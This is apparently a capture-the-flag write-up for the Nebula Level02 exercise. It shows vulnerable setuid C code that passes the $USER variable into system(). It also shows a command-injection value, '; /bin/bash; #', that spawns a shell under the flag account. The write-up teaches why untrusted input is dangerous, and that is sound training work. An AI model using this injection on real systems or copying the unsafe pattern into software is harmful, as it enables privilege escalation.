Level02 instructs us to review some vulnerable C code and locate the attack vector. This program addresses the vulnerability from the previous level but a new vector is available.

The source code is included below for reference:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
char *buffer;

gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

buffer = NULL;

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);


As you can see, “echo” is called by its absolute path but getenv("USER")) is calling the environment variable $USER. Like the issue from level01, this variable is set in the current shell which can be manipulated.

Let’s modify the $USER variable to contain different input.

level02@nebula:/home/flag02$ echo ${USER}
level02@nebula:/home/flag02$ USER="; /bin/bash; #"
level02@nebula:/home/flag02$ echo ${USER}
; /bin/bash; #

As you can see in the code above, I modified the environment variable USER to contain "; /bin/bash; #". The semicolons were added in order to stop the current command and start a new one, allowing us to stop the “echo” call and spawn a shell. Finally, I added an octothorp (#) in order to comment out the “is cool” line that would create malformed output.

Let’s run flag02 and observe the results:

level02@nebula:/home/flag02$ id
uid=1003(level02) gid=1003(level02) groups=1003(level02)
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo ; /bin/bash; # is cool")

flag02@nebula:/home/flag02$ id
uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
flag02@nebula:/home/flag02$ getflag
You have successfully executed getflag on a target account

It worked! This level demonstrates the danger of using environment variables in scripts and trusting user input.

Thanks for reading!


comments powered by Disqus